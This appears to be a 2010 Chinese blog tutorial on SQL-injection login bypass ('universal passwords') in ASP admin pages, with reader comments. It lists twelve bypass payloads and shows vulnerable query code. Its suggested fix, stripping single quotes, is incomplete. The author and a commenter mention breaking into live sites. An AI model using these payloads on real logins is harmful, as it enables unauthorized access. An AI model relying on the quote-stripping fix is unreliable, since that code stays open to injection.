万能密码漏洞详解

时间: 2010-08-19 / 分类: 电脑技巧 / 浏览次数: 1,804 次 / 16 个评论 发表评论

万能密码,这个就是传说中的’or’='or’了,虽然危害很大,可直接饶过后台验证,进入后台,是不是感觉很强大啊。

黑客万能密码漏洞

在登陆后台时,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后再用 sql=”select * from admin where username=”&user&” and password=”&pwd&”" 这句来对用户名和密码加以验证。
以常理来考虑的话,这是个很完整的程序了,而在实际的使用过程中,整套程序也的确可能正常使用。但是如果Userid的值和password的值被赋于:safer’ or’1’=’1’ 这时,sql=”select * from admin where adminname=’”&request.form(“adminname)&”‘ and adminpass=’”&request.form(“adminpass”)&”‘”变成了 sql=”select * from admin where adminname=”or’='or” and adminpass=”or’='or”从而返回真,跳过认证。

  • 万能密码的利用

后台帐号和密码有以下几种形式(都使用一个,一般不可交叉使用):

  1. :”or “a”=”a
  2. : ‘)or(‘a’='a
  3. :or 1=1–
  4. :’or 1=1–
  5. :a’or’ 1=1–
  6. :”or 1=1–
  7. :’or’a'=’a
  8. :”or”=”a’='a
  9. :’or”=’
  10. :’or’='or’
  11. :最短的万能登陆密码 ‘or’1
  12. :’or 1 or’或’or”=”or’
  • 万能密码修补方法

在后台登录文件源代码中找到这些代码:

1 <%
2
3 pwd = request.form(“pwd”)
4
5 name = request.form(“name”)
6
7 Set rs = Server.CreateObject(“ADODB.Connection”)
8
9 sql = “select * from Manage_User where UserName=’” & name & “‘ And PassWord=’”&encrypt(pwd)&”‘”

由于接受变量pwd、name时没有做任何处理。才导致这个漏洞。我们要让它进行处理,过滤掉“’”符号。只要把文件改成以下代码即可:

1 <%
2
3 pwd = replace(trim(request.form(“pwd”)),”‘”,”")
4
5 name = replace(trim(request.form(“name”)),”‘”,”")
6
7 Set rs = Server.CreateObject(“ADODB.Connection”)
8
9 sql = “select * from Manage_User where UserName=’” & name & “‘ And PassWord=’”&encrypt(pwd)&”‘”

其实现在网上这个漏洞已经很少了,不过前几天学这块的时候,我还是在网上找到了一个可以利用的漏洞,呵呵。。。但是作为网络安全初学者,这是基本知识,是需要了解的!

网上有些网站屏蔽这个漏洞是用的js脚本,只要我们稍微坐下手脚,还是可以继续利用这个漏洞的,以后再介绍。。。

填写您的邮件地址,订阅我们的精彩内容:

16个评论

  1. 梦三秋
    2010/12/09 17:40:47

    呵呵~~现在的网站,基本上很少能用这么简单的方法就能进入后台的了~

    • 小杰
      2010/12/09 18:02:52

      的确是这样啊,基本是没有了

  2. 顺水横流
    2010/10/14 17:20:34

    好早的技术了,现在即使ASP的程序也很少有这样的洞了

    • 小杰
      2010/10/14 22:44:59

      还是有的哦,不过很少了,我前一段时间发现过一个游戏站的,呵呵

  3. 彭涛雅阁
    2010/08/22 14:38:28

    呵呵,不怕不怕~~

  4. [...] 昨天介绍过了 万能密码漏洞详解 。不少朋友们和我说这个漏洞现在基本没有了,这个确实是,不过这是基本嘛,了解一下啦,这个可是想当年的时候红极一时啊!呵呵。。。现在运气好的话也许能碰到一个没有修复这个漏洞的网站。 [...]

  5. 沉冰浮水
    2010/08/20 18:19:33

    找到的几率很小。。我也只成功进入过一个站,,也只是给那站恶搞了下。。

    • 小杰
      2010/08/20 19:09:14

      呵呵。。。看来你的运气也还不错嘛

  6. 右脑开发
    2010/08/20 14:27:47

    万能密码啊~~真不错

  7. 中华诗词文学论坛
    2010/08/19 16:36:28

    谢谢博主!读了很受益!网址已经收藏了。

  8. 红心草
    2010/08/19 16:35:09

    这种漏洞很少了,除非那个站是个人或小公司随便开发出来的。

    • 小杰
      2010/08/19 16:56:42

      很少了,了解一下而已,呵呵。。。什么都要从最简单的开始嘛

  9. 阿七
    2010/08/19 15:04:01

    我的站姑且没发现漏洞。

    • 小杰
      2010/08/19 16:57:04

      不会有的,呵呵。。。不然谁还用wp啊

  10. 随缘
    2010/08/19 14:40:35

    现在的站貌似很少出现这个漏洞了吧

    • 小杰
      2010/08/19 16:57:42

      不是貌似,是真的很少,不过还是能找到的哦,我就找到一个,嘿嘿

发表评论

您的昵称 (必填哦)

您的邮箱 (必填哦)

您的网站

1+9= (麻烦算一下吧(*^__^*) )